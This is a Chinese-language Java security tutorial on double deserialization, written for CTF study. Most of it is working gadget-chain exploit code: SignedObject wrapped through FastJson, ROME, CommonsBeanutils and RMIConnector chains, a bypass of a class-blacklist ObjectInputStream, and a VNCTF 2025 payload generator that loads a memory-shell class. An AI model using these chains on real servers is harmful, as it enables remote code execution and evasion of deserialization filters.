Skip to content

JavaSec 13-浅谈二次反序列化

约 1592 字大约 5 分钟

Java

2025-04-13

前言

二次反序列化在近期的比赛中相当常见,几乎到了必考的地步,但依然是被研究烂的东西,顾名思义就是反序列化两次,这里将结合几个题目比如上篇文章中 FastJson 的原生反序列化去学习一下

常见方法

SignedObject

getObject方法里面反序列化对象可控,触发readObject,然后就要寻找如何调用getObject

image-20250409112243040

fastjson调用

先想到了 FastJson 原生反序列化的利用,会自动去遍历调用属性的 get 方法,这里为了简化使用,我们选择了1.48版本之前的一条链子,利用链就是

BadAttributeValueExpException#readObject
	JSONArray#toString
    	SignedObject#getObject
    		BadAttributeValueExpException#readObject
    			JSONArray#toString
    				TemplatesImpl#getOutputProperties
						...
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.security.*;

public class Test {
    public static SignedObject getSingnedObject(Serializable obj) throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(obj, privateKey, signingEngine);
        return signedObject;
    }
    public static TemplatesImpl getTemplatesImpl(byte[] code) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Util.setFieldValue(templates, "_bytecodes", new byte[][]{code});
        Util.setFieldValue(templates, "_name", "name");
        Util.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = getTemplatesImpl(Util.genPayload("calc"));
        JSONArray jsonArray2 = new JSONArray();
        jsonArray2.add(templates);
        BadAttributeValueExpException badAttributeValueExpException2 = new BadAttributeValueExpException(null);
        Util.setFieldValue(badAttributeValueExpException2, "val", jsonArray2);

        BadAttributeValueExpException badAttributeValueExpException1 = new BadAttributeValueExpException(null);
        JSONArray jsonArray1 = new JSONArray();
        SignedObject signedObject = getSingnedObject(badAttributeValueExpException2);
        jsonArray1.add(signedObject);
        Util.setFieldValue(badAttributeValueExpException1, "val", jsonArray1);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(badAttributeValueExpException1);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

rome调用

ROME反序列链的本质是组件里的ToStringBean::toString可以调用任意getter方法,在这里只展示比较简单的一条链子

BadAttributeValueExpException#readObject
	ToStringBean#toString
    	TemplatesImpl#getOutputProperties
						...
public static void main(String[] args) throws Exception {
    TemplatesImpl templatesimpl = getTemplatesImpl(Util.genPayload("calc"));

    ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);


    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Util.setFieldValue(badAttributeValueExpException, "val", toStringBean);

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
    objectOutputStream.writeObject(badAttributeValueExpException);

    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    Object o = (Object)ois.readObject();
}

但是结合 SignedObject 的话,选择这条 Hashtables 触发的 equals 去写,分析过程在前面 CC 文章有写,这里其实就是用两层 table 去分别触发各自的 get

public class Hashtable2Rome {
    public static Hashtable getPayload (Class clazz, Object payloadObj) throws Exception{
        EqualsBean bean = new EqualsBean(String.class, "r");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", bean);
        map1.put("zZ", payloadObj);
        map2.put("zZ", bean);
        map2.put("yy", payloadObj);
        Hashtable table = new Hashtable();
        table.put(map1, "1");
        table.put(map2, "2");
        Util.setFieldValue(bean, "_beanClass", clazz);
        Util.setFieldValue(bean, "_obj", payloadObj);
        return table;
    }
    public static SignedObject getSingnedObject(Serializable obj) throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(obj, privateKey, signingEngine);
        return signedObject;
    }
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = Util.getTemplatesImpl(Util.genPayload("calc"));
        Hashtable table1 = getPayload(Templates.class, templates);

        SignedObject signedObject = getSingnedObject(table1);
        Hashtable table2 = getPayload(SignedObject.class, signedObject);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(table2);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

CB调用

第一层包装一个 SignedObject 去调用 getObject ,第二层再包一个 templates

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = Util.getTemplatesImpl(Util.genPayload("calc"));
    PriorityQueue queue1 = getpayload(templates, "outputProperties");
    SignedObject signedObject = Util.getSingnedObject(queue1);
    PriorityQueue queue2 = getpayload(signedObject, "object");

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
    objectOutputStream.writeObject(queue2);

    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    Object o = (Object)ois.readObject();

}
public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
    BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
    PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
    priorityQueue.add("1");
    priorityQueue.add("2");
    Util.setFieldValue(beanComparator, "property", string);
    Util.setFieldValue(priorityQueue, "queue", new Object[]{object, null});
    return priorityQueue;
}

RMIConnector

RMIConnector 是 javax.management 下一个与远程 rmi 连接器的连接类,findRMIServerJRMP 方法里有一个反序列化入口

image-20250410082940480

在 path.startsWith("/stub/") 时候调用

image-20250410083043717

在 connect 方法里当 rmiServer == null 调用

image-20250410083213741

找到一个很符合的构造方法,这里的 null 就是 rmiServer

image-20250410083452714

所以找个地方调用 connect 就行,放到 invokerTransformer

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.util.HashMap;
import java.util.Map;
import static util.Tool.*;

public class CC_RMIConnector {
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);

        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "Poria");
        lazyMap.remove(rmiConnector);

        setFieldValue(lazyMap,"factory", invokerTransformer);

        Util.checkUnserialize(expMap);
    }
}

记得替换下 base64String

利用

Fastjson

还记得我们上一篇文章最后给出的 exp 吗,虽然那个可以绕过原生的检测,但是如果我们在入口写一个 InputStream 类,然后另外去加规则,就需要二次反序列化去绕过了

public class MyInputStream extends ObjectInputStream {
    private final List<Object> BLACKLIST = Arrays.asList("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "com.sun.syndication.feed.impl.ObjectBean", "import com.sun.syndication.feed.impl.ToStringBean");

    public MyInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    protected Class<?> resolveClass(ObjectStreamClass cls) throws ClassNotFoundException, IOException {
        if (this.BLACKLIST.contains(cls.getName())) {
            throw new InvalidClassException("The class " + cls.getName() + " is on the blacklist");
        } else {
            return super.resolveClass(cls);
        }
    }
}

这里有个需要注意的问题就是,第一步 BadAttributeValueExpException 没等走到 toString 去调用 signedObject,就会先因为

ObjectInputStream.GetField gf = ois.readFields()

这里去进到 JSONArray 的r esolveclass 检查,然后因为 signedObject 没有无参构造方法导致报错,但是我在最后那再套一层引用 signedObject 就解决了

public static void main(String[] args) throws Exception{

        HashMap hashMap = new HashMap();

        TemplatesImpl templates = Util.getTemplatesImpl(Util.genPayload("calc"));

                  //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测
        JSONArray jsonArray2 = new JSONArray();
        jsonArray2.add(templates);           //此时在handles这个hash表中查到了映射,后续则会以引用形式输出

        BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
        Util.setFieldValue(bd2,"val",jsonArray2);

        hashMap.put(templates,bd2);

        //二次反序列化
        SignedObject signedObject = Util.getSingnedObject(hashMap);

        //触发SignedObject#getObject
        JSONArray jsonArray1 = new JSONArray();
        jsonArray1.add(signedObject);

        BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
        Util.setFieldValue(bd1,"val",jsonArray1);

        HashMap hashMap2 = new HashMap();
        hashMap2.put(signedObject,bd1);
        //验证
        byte[] payload = Util.serialize(hashMap2);

        ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload));  //再套一层inputstream检查TemplatesImpl,不可用
        ois.readObject();

    }

VNCTF 2025

image-20250410124541248

绕过限制打内存马,呃具体里面还涉及一个 EventListener 的绕过,下一篇文章再写

public class EXP {
    public static byte[] file2ByteArray(String filePath) throws IOException {
        InputStream in = new FileInputStream(filePath);
        byte[] data = inputStream2ByteArray(in);
        in.close();
        return data;
    }
    public static TemplatesImpl getTemplatesImpl(byte[] code) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Util.setFieldValue(templates, "_bytecodes", new byte[][]{code});
        Util.setFieldValue(templates, "_name", "name");
        Util.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }
    public static byte[] inputStream2ByteArray(InputStream in) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[4096];
        int n;
        while((n = in.read(buffer)) != -1) {
            out.write(buffer, 0, n);
        }
        return out.toByteArray();
    }
    public static EventListenerList getEventListenerList(Object obj) throws Exception {
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector)Util.getFieldValue(manager, "edits");
        vector.add(obj);
        Util.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
        return list;
    }
    public static Object getFastjsonEventListenerList(Object getter) throws Exception {
        JSONArray jsonArray0 = new JSONArray();
        jsonArray0.add(getter);
        EventListenerList eventListenerList0 = getEventListenerList(jsonArray0);
        HashMap hashMap0 = new HashMap();
        hashMap0.put(getter, eventListenerList0);
        return hashMap0;
    }
    public static SignedObject getSingnedObject(Serializable obj) throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(obj, privateKey, signingEngine);
        return signedObject;
    }
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = getTemplatesImpl(file2ByteArray("D:\\code\\Java\\CTF\\JavaGuide\\target\\classes\\exp\\FilterShell.class"));

        Object calc = getFastjsonEventListenerList(templates);
        SignedObject singnedObject = getSingnedObject((Serializable) calc);
        Object fastjsonEventListenerList = getFastjsonEventListenerList(singnedObject);

        Util.printURLEncodedBase64SerializedString(fastjsonEventListenerList);
    }
}

参考文章

https://tttang.com/archive/1701/#toc_wrapperconnectionpooldatasource

https://xz.aliyun.com/news/12052